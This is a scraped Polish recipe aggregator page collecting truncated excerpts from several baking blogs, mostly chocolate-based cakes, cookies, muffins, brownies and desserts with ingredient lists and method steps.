sobotnią popołudniową kawę również i na środową wieczorną herbatkę również;) Kombinacja ciasta i wafla - bezcenna, a to wszystko dzięki Justynce ;) Tort waflowy   Składniki biszkopt: 5 jajek 5 kostek czekolady mlecznej 10 dag posiekanych orzechów 1 1/4 szklanki mąki 1 1/4 szklanki cukru 1 łyżeczka proszku do pieczenia Składniki masa: gotowana masa krówkowa 1 1/2 kostki masła Pozostałe składniki: powidło(...)cukier. Ubijamy mikserem na gładką masę.  Do masy jajecznej dodajemy przesianą mąkę i proszek do pieczenia - mieszamy delikatnie łyżką.  Dodajemy posiekane orzechy i startą na drobnej tarce czekoladę. Mieszamy całość delikatnie łyżką i przelewamy na wyścieloną papierem do pieczenia prostokątną tortownicę.  Pieczemy i przecinamy na pół ;) Masa - ucieramy masło (ważny by było w temperaturze pokojowej) z masą

Lawendowe Niebo
Makaroniki czekoladowo-kawowe na bezie francuskiej / Chocolate and coffee macaroons on the French meringue 127

ilość któregoś z nich może zaważyć na efekcie końcowym. SKŁADNIKI: ciasteczka 125 gram mielonych migdałów 250 gram cukru pudru 90 gram zimnych białek szczypta soli krem 1 tabliczka gorzkiej czekolady 20 ml mocnej kawy (u mnie jedno espresso) 50 gram masła 100 ml kremówki PRZYGOTOWANIE W pierwszej kolejności przygotowuję dwie blaszki wyłożone papierem do pieczenia Odmierzam odpowiednią ilość wszystkich składników(...)drugą blaszkę. Po upieczeniu ciasteczka pozostawiam na blaszce do przestygnięcia a następnie delikatnie ściągam. Gotowe ciasteczka powinny mieć lekko lepki spód. Krem Śmietanę podgrzewam ale nie doprowadzam do wrzenia. Czekoladę łamię na kostki i razem z masłem wkładam do miski. Zalewam gorącą kawą i podgrzaną śmietaną. Mieszam do całkowitego rozpuszczenia się czekolada i masła. Gotową masę odstawiam aby stężała. Czas

Magiczna kuchnia Darii
TORT PIERNIKOWY Z KREMEM KARPATKOWYM 251

polewa dała  się bez problemu rozsmarować na cieście. Jest lśniąca i nie kruszy się. dodatkowo: 4-5 łyżek dżemu wiśniowego 1 opakowanie pierniczków typu Katarzynki, ale bez czekolady  ajerkoniak do namoczenia pierniczków 2-3 batony marcepanowe do ozdoby 25g startej gorzkiej czekolady Pierniczki polewam ajerkoniakiem i odstawiam  na kilka minut, aby nasiąknęły alkoholem. Pierwszy blat biszkoptu smaruję(...)przykrywam kolejnym blatem ciasta. Trzeci biszkopt zawijam w folię  aluminiową i zostawiam do wykorzystania następnym razem. Tak przygotowany tort pokrywam polewą, układam pokrojone batoniki marcepanowe, posypuję startą czekoladą. Na 2-3h odstawiam w chłodne i suche miejsce. Kroję zwilżonym ciepłą wodą nożem, aby masa i polewa  nie przyklejały się do ostrza. SMACZNEGO! Pozdrawiam, Karmel-itka

W kuchni Karmel-itki
Podwójnie czekoladowe ciasteczka J. Olivera 161

Pyszne kakaowo czekoladowe ciasteczka , które najlepiej smakują jeszcze ciepłe gdy w środku znajduje się miękka czekolada Składniki: 250 g mąki 140 g masła 100 g cukru pudru 2 żółtka 3 łyżki ciemnego kakao tabliczka białej czekolady (adsbygoogle = window.adsbygoogle || []).push({}); Wykonanie: Masło utrzeć z cukrem na gładką masę, dodać żółtka i kontynuować ucieranie. Wsypać  mąkę przesianą z kakao i dłońmi(...)zagnieść ciasto. Włożyć do lodówki na godzinę. Rozwałkować ciasto  i szklanką wycinać z ciasta koła. Na połowie krążków ułożyć kostkę czekolady i przykryć drugim (brzegi zlepiamy za pomocą widelca). Piec 12-14 minut (nie dłużej, bo cały sekret w tym, by ciastka były miękkie a nie wysuszone!) w piekarniku nagrzanym do 190 stopni

Ciasta ciastka ciasteczka Słodka chwila zapomnienia
Raffaello 325

orzechem w środku. Moja mam na wyjątkowe okazje zawsze robiła ciasto "Raffaello". Mimo, że jest kaloryczne.. Nie ma co oszukiwać krem składa się z śmietany 36% i białej czekolady, ale czasem można pozwolić sobie na odrobinę rozpusty. Składniki: *Biszkopt: 4 jajka 1 szklanka mąki 1 szklanka cukru pół łyżki octu 1 łyżka wody 2 łyżeczki proszku do pieczenia *Masa(...)kokosowa: 2 opakowania śnieżki na mleko 0,5 l śmietany 36% 2 opakowania wiórek kokosowych 2 sztuki dobrej jakości białej czekolady *Dodatkowo: paczka płatków migdałowych Wykonanie: Robimy biszkopt. Oddzielamy białka od żółtek. Białka ubijamy z cukrem na sztywną pianę. Dodajemy po jednym żółtku i miksujemy po każdym z nich. Do masy dodajemy przesianą mąkę, proszek do pieczenia, wodę i ocet

Piekę, bo lubię
Keks z bakaliami w polewie z białej czekolady 186

Przygotowania świąteczne zachęciły mnie do wypieku kilku ciast na wielkanocną rozpustę. Na pierwszy ogień poszedł keks nadziany bakaliami w polewie z białej czekolady.  Czas przygotowania: 90 min. Składniki na formę (silikonową) 23x10 cm Koszt przygotowania: 13,00 zł SKŁADNIKI na ciasto: 500 g mąki pszennej 250 g masła lub margaryny 1 szklanka cukru 4 jajka 1 łyżeczka proszku(...)mleka 1 łyżeczka aromatu rumowego 1/2 szklanki rodzynek 1/2 szklanki suszonych moreli 1 łyżka kandyzowanej skórki z pomarańczy 1 łyżka kandyzowanej skórki cedratu SKŁADNIKI na polewę: 3/4 tabliczki białej czekolady 6 łyżek mleka posypka dekoracyjna PRZYGOTOWANIE: Suszone morela kroimy w kostkę i przekładamy do miski. Dodajemy rodzynki, kandyzowaną skórkę z pomarańczy i cedratu. Dodajemy odrobinę mąki i mieszamy. Mąkę przesiewamy

kulinarnyJa
Ciasto czekoladowo-bananowe 164

SKŁADNIKI: 400 g mąki pszennej 1 łyżeczka proszku do pieczenia 1 szklanka białego cukru 200 g masła lub margaryny 4 jajka 3 dojrzałe banany 200 g gorzkiej czekolady szczypta soli cukier puder ( do posypania) PRZYGOTOWANIE: Czekoladę rozpuszczamy w kąpieli wodnej. Masło rozpuszczamy w rondelku i ostudzamy. Banany kroimy na drobną kostkę. Mąkę przesiewamy i łączymy z proszkiem do pieczenia. Żółtka(...)oddzielamy od białek. Żółtka jajek i cukier miksujemy na jednolitą masę. Dolewamy rozpuszczone masło, cały czas mieszając. Następnie dolewamy rozpuszczoną czekoladę. Dodajemy pokrojone banany i znów mieszamy. Dosypujemy mąkę na cztery partie. Po każdej porcji mąki, miksujemy na jednolitą masę. Na końcu ubijamy białka ze szczyptą soli na sztywną pianę. Ubite białka delikatnie łączymy z masą czekoladową. Najlepiej drewnianą łyżką

kulinarnyJa
Gruszka w sosie winno-czekoladowym 167

Grillowana gruszka z serkiem twarogowym i skropiona sosem z gorzkiej czekolady z dodatkiem wina, chili, czyli coś na słodko, ostro, wytrawnie, a przy tym wykwintnie i pięknie prezentując się na stole- co się bardzo ceni, głównie podczas organizowania przyjęć dla rodziny czy przyjaciół (wiadomo, achy i ochy mile słyszane)! :))) Teraz, w sezonie zimowym jak najbardziej można użyć np. brzoskwiń(...)się roztopi (ja właśnie wolę tą wersję, mąż jednak bardziej z serkiem do smarowania) i doda wyrazistości. 4 porcje:   * gruszka- 2 szt. * serek kremowy- 4 czubate łyżki Sos: * czekolada gorzka- 50 g * cukier- 1 łyżka * suszona chili- szczypta * cynamon- 1/4 łyżeczki * wino czerwone- 120 ml * olej- 1 łyżka Gruszki: Umytą gruszkę przekroić na pół, wydrążyć gniazdo nasienne i natłuścić

Kraina Miodem Płynąca
Seromakowiec 2297

masy makowej ;) Szukałam wśród Seromakowców i znalazłam na stronie Kwestiasmaku . Seromakowiec wyszedł wilgotny , aromatyczny , zrobię go jeszcze nie raz ;) Zmieniłam nieco masę makową . Do tej pozostałej masy dodałam tylko czekoladę zmielone migdały. Wymiary tortownicy : średnica 24 cm Czas pieczenia : 25 minut + 60 minut Temp. pieczenia : 175 C Składniki: Masa makowa : 2 szklanki gotowej masy makowej albo z tego przepisu klik(...)szklanka zmielonych na miał migdałów 50 g ciemnej czekolady 2 płaskie łyżki mąki 1 łyżeczka proszku do pieczenia 3 łyżki likieru Amaretto Masa serowa: 500 g śmietanowego sera twarogowego zmielonego 3 razy ( użyła ser z wiaderka Włoszczowa ) ziarna z 1 laski wanilii 100 g miałkiego cukru 2 łyżki mąki ziemniaczanej 2 żółtka   Sposób przygotowania: Masa makowa: Masę makową

Słodkości i nie tylko
Ciasto bananowo-marchewkowe 192

średnicy 18-20 cm) wyłożonej papierem do pieczenia i pieczemy około 45 minut w temperaturze 180 stopni (160 przy termoobiegu). Krem: 250 g serka mascarpone 100 g białej czekolady orzechy włoskie do dekoracji Czekoladę roztapiamy w kąpieli wodnej. Studzimy. Serek mascarpone miksujemy i cienkim strumieniem, powoli wlewamy białą czekoladę. Miksujemy do uzyskania gładkiego, jednolitego kremu

Smakowity Blog Kulinarny
Babeczki marchewkowe z pomarańczą 157

Wena czasem przychodzi sama z siebie. Na przykład dziś, oglądając jakieś obrazki, wpadł mi do głowy pomysł na te babeczki. Może nie odkryłam Ameryki, ale uważam, że połączenie białej czekolady z marchewką i pomarańczą jest całkiem nowatorskie. Nie każdemu musi smakować, dlatego dziś proponuję zrobić ten przepis pół na pół. Chociaż osobiście uważam, że te z pomarańczą są dużo lepsze(...)mleka :) Rozsmakujcie się! Miłego kucharzenia!" Składniki: 100g masła 80g cukru 2 jajka 1/2 szklanki mleka 4 łyżki śmietany 3 szklanki mąki 1,5 łyżeczki proszku do pieczenia 70g białej czekolady (posiekanej) 3 starte marchewki (duże oczka) 9 łyżeczek syropu pomarańczowego 5 łyżki mąki Sposób przygotowania: Masło ucieramy z cukrem, następnie dodajemy jajka i dalej ucieramy. W drugiej misce przesiewamy mąkę

Słodkie Przyjemności
Babeczki Czekoladowe z batonikiem Lion 115

całkowicie zakochałam! Słodkiego dnia! " Składniki : 3 jajka  300g mąki 2 łyżki kakao 2 łyżeczki proszku do pieczenia 1/4 łyżeczka soli 180g miękkiego masła 150g cukru 150ml mleka 125g czekolady gorzkiej 2 batoniki Lion Sposób przygotowania: Piekarnik rozgrzewamy do 180`C Czekoladę rozpuszczamy w kąpieli wodnej (w naczyniu położonym na garnek z wrzącą wodą). W dużej misce mieszamy mąkę, proszek(...)pieczenia, kakao i sól. W drugiej, masło ucieramy z cukrem na jasną, gładką masę, a następnie dodajemy jajka dalej miksując. Naszym kolejnym krokiem jest dodanie do masy rozpuszczonej czekolady. Wszystko dokładnie mieszamy i dodajemy mąkę na przemian z mlekiem.  Po starannym wymieszaniu ciasto przekładamy do papilotek, albo silikonowych foremek i wkładamy do piekarnika na około 25 minut ( wierzch możemy

Słodkie Przyjemności
Batoniki owsiane z białą czekoladą 141

brązowego cukru 150 g płatków osianych 100g mąki pszennej Szczypta soli Garść orzechów laskowych około 30g Dwie garstki migdałów 45g + 10g Garść żurawiny Łyżka sezamu Łyżka maku 150g białej czekolady Sposób przygotowania: Masło, miód i cukier wrzucamy do garnuszka i na małym ogniu roztapiamy – co jakiś czas mieszając, szczególnie na początku, aby nic nie przywarło do dna garnka. Do drugiego(...)zalewamy to wszystko rozpuszczonym, schłodzonym masłem. Wszystko starannie mieszamy i przekładamy do kwadratowej brytfanki. Wierzch ugniatamy i posypujemy zmielonymi migdałami. Pieczemy 25 minut w 180`C. Białą czekoladę łamiemy na małe kawałki i roztapiamy w kąpieli wodnej. Gdy ciasto się zarumieni, wyjmujemy je z piekarnika i wierzch zalewamy białą czekoladą, równo rozsmarowując. Kroimy na małe kwadraty (u mnie

Słodkie Przyjemności
Babka pisakowa z orzechami włoskimi 138

ciacha, z orzechami włoskimi - które u eM. spadają z drzewa coraz częściej :) Przepis znaleziony tu , z moimi modyfikacjami. Polecam! Wychodzi cudownie miękkie, puszyste i wilgotne. A do tego ta czekolada i chrupiące orzechy. Cudo :) " Składniki : 200 g mąki pszennej  100 g mąki ziemniaczanej  2 łyżeczki proszku do pieczenia  200 g miękkiego masła  1 szklanka cukru(...)jajka, oddzielnie żółtka i białka 4 łyżeczki wanilii ziarenka z połowy laski wanilii 50g białej czekolady garść orzechów włoskich Sposób przygotowania: Piekarnik rozgrzewamy do 180`C. Miękkie masło ucieramy z cukrem i cukrem waniliowym na jednolitą masę. Następnie dodajemy po jednym żółtku i ziarenka wanilii, ciągle mieszając. Mąkę pszenną i ziemniaczaną łączymy razem z proszkiem do pieczenia w oddzielnej misce

Słodkie Przyjemności
Muffiny na chandrę i depresję! 164

najlepsze według mnie na zebranie sił jest dobra, pożywna przekąska, taka jak ta dzisiejsza :) Pełno mleczna, dobra na myślenie bo z orzechami i ma coś dobrego na poprawę humoru- czekoladę! Super mieszanka! Idealna na jesienne popołudnie. Zjadanie dużych ilości orzechów polecane jest dla osób z depresją, homeopatom czy po prostu osobom  przemęczonym, dlatego śmiało polecam! Muffiny(...)szklanki cukru szklanka mleka 3.2% 2 jajka 100 g margaryny 3 łyżki cukru waniliowego łyżeczka esencji waniliowej pół laski wanilii szklanka orzechów włoskich garść migdałów 90 g mlecznej czekolady Sposób przygotowania: Margarynę rozpuszczamy i studzimy, dodajemy do niej mleko, najlepiej w temperaturze pokojowej a następnie dorzucamy jajka i wszystko lekko mieszamy. Cukier, proszek, wanilię i mąkę łączymy i dodajemy partiami

Słodkie Przyjemności
Muffiny kakaowo-kawowe 135

byłoby super gdyby te nieszczęsne egzaminy się nie zbliżały, tak, to chyba najbardziej boli :) Żeby sobie poprawić jeszcze bardziej humor idę do kuchni i piekę - to oczywiste, im więcej czekolady tym lepiej! Dziś kolejna propozycja z dodatkiem kawy, na podniesienie ciśnienia i zdobycie energii, do tego czekolada i jeszcze więcej czekolady! Wyszło pysznie! Inspiracją był przepis z małej cukierenki :) Wypróbujcie

Słodkie Przyjemności
Ciasteczka francuskie z jabłkiem 142

cóż, zapraszam!" Składniki: 1 opakowanie ciasta francuskiego 2 małe jabłka pół szklanki orzechów włoskich 3 łyżki miodu  lub cukru brązowego  łyżka cynamonu 50 g gorzkiej czekolady Sposób przygotowania: Piekarnik rozgrzewamy do 200`C Ciasto rozwijamy z papieru i układamy na lekko oprószonym mąką blacie (najlepiej na silikonowej podkładce). Wierzch przykrywamy papirusem i lekko rozwałkowujemy (dzięki temu ciasto(...)plasterki grubości około 0,5 cm, układając na blaszce wyłożonej papierem do pieczenia. Ciastka pieczemy około 15 - 20 minut, bądź do złotego koloru. Jeszcze ciepłe ciasteczka polewamy rozpuszczoną gorzką czekoladą (możecie ją rozpuścić w mikrofali - włożyć do miseczki pokruszoną czekoladę i w odstępach 3 x 30 s mieszać ją aż do rozpuszczenia) Smacznego

Słodkie Przyjemności
Ciasto czekoladowe 142

myślę :) A myślenie umila mi ciasto czekoladowe, własnego pomysłu. Jedno z tych puszystych, mniej słodkich ciast. Macie ochotę?" Składniki : 200 g masła 3 płaskie łyżki kakao 200 g gorzkiej czekolady 100 g cukru pudru 5 jajek 200 g mąki pszennej 1 łyżeczka proszku do pieczenia łyżka cukru z prawdziwą wanilią 50 g orzechów laskowych Sposób przygotowania: Masło rozpuszczamy, dodajemy cukier(...)puder, cukier waniliowy i kakao - mieszamy, dodajemy czekoladę. Gdy się rozpuści, odstawiamy do ostygnięcia.  Jajka ubijamy, dodajemy do nich ostudzoną masę czekoladową i łączymy. Mąkę mieszamy z proszkiem do pieczenia i połamanymi orzechami. Przekładamy do prostokątnej formy wyłożonej papierem do pieczenia.  Pieczemy w 180`C przez 25-30 minut. Polewamy rozpuszczoną białą czekoladą (w mikrofali, albo kąpieli wodnej

Słodkie Przyjemności
Czekoladowe paluszki z suszonymi owocami 146

czytam, ale to trudniejsze niż myślałam. Wczoraj na przykład podczas mojej nauki, stworzyłam te oto Czekoladowe paluszki z suszonymi owocami. Proste i smaczne, skusicie się? "  Składniki : 350 g czekolady mlecznej szklanka ryżu preparowanego 6 suszonych moreli 1/3 szklanki suszonej żurawiny Sposób przygotowania: Czekoladę rozpuszczamy w kąpieli wodnej, albo mikrofali. Żurawinę i ryż wrzucamy do blendera i lekko kruszymy, dodajemy(...)drobno pokrojone morele i mieszamy. Wszystko wsypujemy do rozpuszczonej czekolady i mieszamy. Całość przelewamy do prostokątnej formy wyłożonej papierem do pieczenia i cienko rozsmarowujemy. Przykrywamy folią spożywczą i odstawiamy w zimne miejsce na około 2 h.  Po tym czasie masę wykładamy na deskę i kroimy na cienkie paluszki. Smacznego

Słodkie Przyjemności
Brownies mocno czekoladowe 103

panów czymś słodkim. Dziś będę serwować Brownies - mocno czekoladowe ciasto z małą ilością mąki. Najlepiej smakuje na ciepło, z cudownie kruchym wierzchem. Kto się skusi?" Składniki : 100 g mlecznej czekolady 100 g gorzkiej czekolady 3 żółtka 160 g cukru 3 łyżki kakao 100 g masła 60 g mąki 3 białka Sposób przygotowania: Do miski wbijamy żółtka, dodajemy cukier i ubijamy(...)kogiel-mogiel. W drugiej misce ubijamy na sztywno białka i odstawiamy na później. Masło rozpuszczamy, dodajemy kawałki czekolady i rozpuszczamy ciągle mieszając. Następnie przelewamy do żółtek i dalej miksujemy. Gdy masa będzie jednolita wsypujemy mąkę połączoną z kakao - mieszamy. Na koniec do masy dodajemy 1/3 ubitej piany z białek - lekko mieszamy, następnie kolejne 2/3 piany i całość lekko mieszamy łyżką

Słodkie Przyjemności
Babka migdałowo-czekoladowa 134

grubych kurtkach. No dobra, a wracając do świąt, przygotowałam dla Was kolejną propozycję, którą spokojnie możecie pochwalić się na Wielkanocnym stole. Dziś zapraszam na Babkę migdałową z kawałkami gorzkiej czekolady." Składniki : 3 jajka 100 g cukru 1/2 szklanki mleka 1/3 szklanki oleju 1 łyżka ekstraktu waniliowego 1 łyżeczka proszku do pieczenia 250 g mąki 50 g migdałów 50 g czekolady(...)ubijamy na puszystą masę, następnie dodajemy cukier i dalej ubijamy. Dolewamy olej, ekstrakt i mleko i mieszamy. W drugiej misce mieszamy mąkę z proszkiem do pieczenia i zmielonymi migdałami. Czekoladę kroimy na drobno i wrzucamy do mąki.  Suche składniki mieszamy razem z masą jajeczną, a następnie przelewamy do podłużnej formy wyłożonej papierem do pieczenia. Ciasto wstawiamy do piekarnika

Słodkie Przyjemności
Domowe Pieguski 139

lepszego :) Szczególnie, gdy w grę wchodzą domowe ciasteczka. Na przykład takie, jak te dzisiejsze, które dla Was przygotowałam. Domowe pieguski bez dodatku sztucznych spulchniaczy, za to z dużą ilością czekolady, orzechów i żurawiny! Smak nieziemski, wszystko idealnie dobrane i w odpowiedniej ilości. Mmm! Polecam wszystkim ciasteczkożercom! Zapraszam na Domowe Pieguski! Składniki : 200 g masła 2 żółtka jajko 170 g cukru(...)czekolady gorzkiej 30 g mąki kukurydzianej duża garść orzechów laskowych/migdałów duża garść żurawiny 300 g maki pszennej - tortowej łyzża ekstraktu waniliowego Sposób przygotowania: Do miski wrzucamy miękkie masło, dodajemy cukier i ucieramy do białości, nastepnie dodajemy żółtka i jajko i dalej ubijamy. W oddzielnej misce mieszamy obie maki, pokruszone orzechy, żurawinę i pokrojoną na małe kawałki czekoladę. Sypkie składniki

Słodkie Przyjemności
Owocowe szaszłyki 146

Deser też jest niczego sobie! dziś przygotowałam dla Was owocowe szaszłyki z grilla. Do ich przygotowania można skorzystać z dowolnych owoców, choć bardziej polecam te twardsze odmiany. Polane roztopioną czekoladą smakują wyśmienicie! Zamiast czekolady można użyć dipu jogurtowego, albo śmietankowego.  Udanego grillowania!" Składniki : 1 średni melon miodowy 3 jabłka 300 g truskawek 2 banany Sposób przygotowania: Owoce myjemy(...)szaszłyków naoliwiamy, na każdy z nich nadziewamy na przemian owoce. Rozgrzewamy grilla. Na rozgrzany ruszt  układamy w lekkich odstępach nasze szaszłyki. Skraplamy je dajemy troszkę czasu na zarumienienie. Czekoladę rozpuszczamy w kąpieli wodnej, albo w mikrofali. Szaszłyki podajemy z sosem czekoladowym. Smacznego

Słodkie Przyjemności
Lody miętowo-czekoladowe 112

niego ;) Ten najmniej ważny, ale mimo wszystko bardzo smaczny;) " Składniki : garść świeżych liści mięty 400 ml jogurtu naturalnego 350 ml śmietanki 30 % 80 g cukru 120 g gorzkiej czekolady 1,5 szklanki mleka Sposób przygotowania: Wszystkie składniki, poza czekoladą, powinny być schłodzone. Miętę wrzucamy do lodowatej wody, pozostawiamy na około 10 minut. Następnie osuszamy papierowymi ręcznikami, odrywamy nerwy główne(...)wrzucamy do blendera. Następnie wrzucamy pokrojoną na kawałki czekolady, cukier, dolewamy jogurt, śmietankę i mleko i miksujemy około 2-3 minut. Przelewamy do plastikowego pojemnika z zamknięciem (na żywność) i wstawiamy do zamrażalnika. Co godzinę miksujemy, aby pozbyć się drobinek wody. Wyjmujemy 10 minut przed podaniem. Smacznego

Słodkie Przyjemności
Czekoladowe ciasto z wiśniami 185

cukru 5 jaj 3/4 szklanki jogurtu greckiego 100 g roztopionego masła 1/2 szklanki soku z wiśni 3 czubate łyżki wiśni ( z syropu, z dżemu z całymi owocami) 70 g czekolady Sposób przygotowania: Do miski wsypujemy mąkę, kakao, proszek do pieczenia i pokrojoną na drobne kawałki czekoladę, mieszamy i odstawiamy. Jajka ubijamy razem z cukrem, następnie dolewamy sok i jogurt - mieszamy(...)prostokątnej dużej formy wyłożonej papierem do pieczenia. Wstawiamy do nagrzanego do 180`C piekarnika i pieczemy około 30-35 minut. Ciasto posypujemy cukrem pudrem, albo polewamy rozpuszczoną gorzką czekoladą. Smacznego

Słodkie Przyjemności
Tartaletki śliwkowe z czekoladą 105

uciekłam do mieszkania dalej go remontować. Dlatego dziś przedstawiam Wam jeden z tych przepisów, który robi się dosłownie chwile i smakuje znakomicie. Kto ma ochotę na tartaletki śliwkowe z czekoladą? Zapraszam." Składniki : szklanka cukru  3 szklanki mąki 200 g masła 2 jajka 1/4 szklanki sezamu Dodatkowo : 12 śliwek 3 łyżki cukru łyżka wody 1/3 tabliczki gorzkiej czekolady Sposób przygotowania(...)Posypujemy cukrem i polewamy wodą. Dusimy pod przykryciem około 10 minut, co jakiś czas mieszając. Na lekko ostudzone babeczki nakładamy po dwie połówki śliwek, a następnie polewamy je roztopioną czekoladą. Podajemy na ciepło jak i na zimno. Smacznego

Słodkie Przyjemności
Ciasteczka owsiane z białą czekoladą 223

owsiane ciastka. Może macie ochotę? Są słodziutkie, choć nie mają zbyt dużo cukru, chrupiące a zarazem miękkie i ciągnące ( dzięki dodaniu miodu ). Zapraszam na Ciasteczka owsiane z białą czekoladą." Składniki : 100 g masła 2 łyżki miodu lipowego 3 łyżki cukru Jajko 1,5 szklanki mąki 1 szklanka płatków owsianych 100 g białej czekolady Łyżeczka proszku do  pieczenia Sposób przygotowania(...)pomocą łyżki lub łopatki. Następnie dodajemy jajko i ponownie mieszamy. Do tak przygotowanej masy dosypujemy mąkę wymieszaną z proszkiem do pieczenia – łączymy a następnie dosypujemy płatki owsiane. Białą czekoladę kroimy na drobne kawałki, które następnie dosypujemy do masy – całość mieszamy i przekładamy na blaszkę wyłożoną papierem do pieczenia za pomocą małej łyżeczki tworząc niewielkie kuleczki. Masa lekko nam urośnie.* Ciasteczka

Słodkie Przyjemności
Czekoladowe ciasteczka Świętego Mikołaja 162

przesmaczny! Bo czym byłyby święta bez Czekoladowych ciasteczek Świętego Mikołaja? :) Ich przygotowanie nie zajmuje zbyt wiele czasu, a dodatkowym plusem jest to, że podczas pieczenia wydobywa się cudowny zapach czekolady. Spróbujcie! :) Składniki : 120 g masła jajko 1/2 szklanki cukru łyżeczka proszku do pieczenia  łyżka ekstraktu pomarańczowego 2 łyżki kakao szklanka mąki 50 g gorzkiej czekolady Sposób przygotowania: Masło ucieramy(...)razem z ekstraktem pomarańczowym - łączymy - ja to robiłam za pomocą sylikonowej łopatki, można to również zrobić mikserem ze spiralnymi końcówkami. Przed wyłożeniem ciasteczek na blaszkę, dodajemy posiekaną na kawałki czekoladę i mieszamy. Na blaszkę wyłożoną papierem do pieczenia nakładamy ciasteczka za pomocą małych łyżeczek tworząc kulki wielkości mniej więcej orzecha włoskiego w lekkich odstępach - ciasteczka lekko się rozpływają. Pieczemy około

Słodkie Przyjemności
Brownie Klasyczne 132

Brownie liczy się dla mnie chrupiąca skórka i miękkie, czekoladowe wnętrze. A za co Wy lubicie Brownie? Składniki: 5 jaj 200 g cukru 200 g masła 200 g gorzkiej czekolady (70% kakao) 100 g mąki płaska łyżeczka proszku do pieczenia płaska łyżeczka kakao Sposób przygotowania: Jajka ubijamy razem z cukrem na puszystą, jasną pianę.  Masło rozpuszczamy razem z połamanymi(...)kawałkami gorzkiej czekolady w mikrofalówce (około 50 sekund, następnie mieszamy do całkowitego rozpuszczenia) - Ci którzy jej nie używają mogą tradycyjnie rozpuścić je w kąpieli wodnej. Mąkę mieszamy razem z kakao i proszkiem do pieczenia. Do ubitych jaj, dolewamy rozpuszczoną czekoladę ciągle mieszając, gdy składniki się połączą przestajemy miksować, następnie dosypujemy wcześniej wymieszane suche składniki i łączymy za pomocą drewnianej łyżki

Słodkie Przyjemności
Ciasteczka z kawałkami czekolady 99

może być coś lepszego od domowych ciasteczek z kawałkami czekolady? Pewnie coś może, ale po co szukać, skoro taki smakołyk możemy mieć bez większego wysiłku w mgnieniu oka? Gdy przygotowałam wczoraj te ciasteczka, usiadłam wygodnie na kanapie, wzięłam do ręki książkę i zaczęłam zajadać się nimi popijając herbatkę z nagietka. Taaak, to było bardzo przyjemne popołudnie ;) Dlatego pomyślałam, że może(...)chrupiące ciasteczka?  Składniki : 200 g masła 2 jajka 140 g cukru 200 g mąki pszennej 100 g maki kukurydzianej płaska łyżeczka proszku do pieczenia 100 g posiekanej mlecznej czekolady Sposób przygotowania: Do miski wrzucamy miękkie masło, dodajemy cukier i ubijamy, następnie dodajemy jajka i dalej miksujemy do momentu uzyskania jednolitej masy. W drugiej misce mieszamy obie mąki z proszkiem

Słodkie Przyjemności
Detoks / Marchewkowe babeczki z karobem 94

przekór mojemu detoksowi. Mam nadzieję, że mój dzisiejszy wpis Was nie odstraszy od przygotowania tych Babeczek. Dodałam do nich co prawda cukier, ale słodkiego smaku dodaje im marchew, czekolada i karob. Sama miałam ochotę na zjedzenie kilku na raz - aby móc się podzielić nimi z innymi, skończyłam na 2. Czy Wam również uda się powstrzymać żądze? Zapraszam na Marchewkowe babeczki(...)mąki 1 łyżeczka proszku do pieczenia 1 łyżeczka proszku z chleba świętojańskiego (można zamienić na kakao) 180 g startej marchewki (2 średniej wielkości) 100 g cukru 60 g mlecznej czekolady Sposób przygotowania: Do miski wbijamy jajka, dodajemy olej i wlewamy mleko - mieszamy. W drugiej misce łączymy mąkę, cukier dodajemy karob i proszek do pieczenia, łączymy a następnie wsypujemy do płynnych

Słodkie Przyjemności
Brownie z malinami bez glutenu i tłuszczu 117

można byłoby zamienić na mielone orzechy. Nic tylko sięgnąć po kolejny kawałek, prawda?  Składniki : 4 białka ok 70 g cukru ( nie cała miarka) 4 żółtka 150 g gorzkiej czekolady 4 żółtka pół szklanki soku z kawałkami malin 2 łyżki mąki ziemniaczanej Sposób przygotowania: Białka ubijamy, gdy będą sztywne dodajemy cukier i dalej ubijamy na puszystą, jasną pianę. Następnie(...)białek dodajemy żółtka i łączymy za pomocą łopatki. W kąpieli wodnej ( miska nałożona na garnek z gotującą się wodą) rozpuszczamy kawałki gorzkiej czekolady (około 2 minut, następnie mieszamy do całkowitego rozpuszczenia).  Do ubitych jaj, dolewamy rozpuszczoną czekoladę ciągle mieszając, tylko do połączenia się składników. Na koniec do masy dodajemy sok i przesiana mąkę ziemniaczaną. Masę przelewamy do dużej, prostokątnej

Słodkie Przyjemności
Krem truskawkowy z czereśniami i białą czekoladą 123

cały dzień na powietrzu (świeżym powietrzu) i dużo fizycznej pracy, ale te minusy są również plusami, prawda? Dziś taka mała namiastka lata - Krem truskawkowy z czereśniami i wiórkami białej czekolady. Jest prosty, szybki i bardzo owocowy. Jego podstawą jest frużelina truskawkowa, więc nusi być pyszny. Lubicie? Krem truskawkowy: 250 g truskawek 1,5 łyżeczki żelatyny rozpuszczonej w łyżce  gorącej(...)wody pół szklanki cukru 1 łyżeczka mąki ziemniaczanej  200 ml śmietanki 30% 1 łyżeczka żelatyny szklanka czereśni wiórki z białej czekolady Sposób przygotowania: Do garnuszka wrzucamy umyte truskawki zasypujemy cukrem i gotujemy d momentu rozpuszczenia się cukru. Żelatynę rozpuszczamy w łyżce wody i dodajemy do truskawek razem z rozpuszczoną mąką ziemniaczaną w łyżeczce wody. Śmietankę ubijamy gdy będzie sztywna

Słodkie Przyjemności
Domowe Ciastka XXL 130

Jakiś czas temu (chyba na jakiejś imprezie) jadłam bardzo smaczne, kruche i wielkie (!) ciasteczka z kawałkami czekolady. Smakiem przypominały pieguski, ale wyglądem amerykańskie ciasteczka. Pomyślałam, że jakoś nie widzi mi się płacić tyle za kilka ciastek (cena była dość wysoka) dlatego postanowiłam przygotować je sama w domu. Zadanie nie należało do najprostszych, ponieważ, nigdzie w sieci nie było, podobnego przepisu(...)przez kilka dni, ale po co, jak można zrobić nowe? :) Składniki : 120 g masła 100 g cukru 240 g mąki pszennej 1 szklanka mleka w proszku 200 g mlecznej/gorzkiej czekolady żółtko łyżka mleka 2 łyżki wody Sposób przygotowania: Masło z cukrem ucieramy, dodajemy mleko w proszku, żółtko, wodę i mleko. Czekoladę drobno siekamy i mieszamy razem z mąką pszenną, dodając

Słodkie Przyjemności
Ciasto marchewkowe z kremem z białej czekolady 325

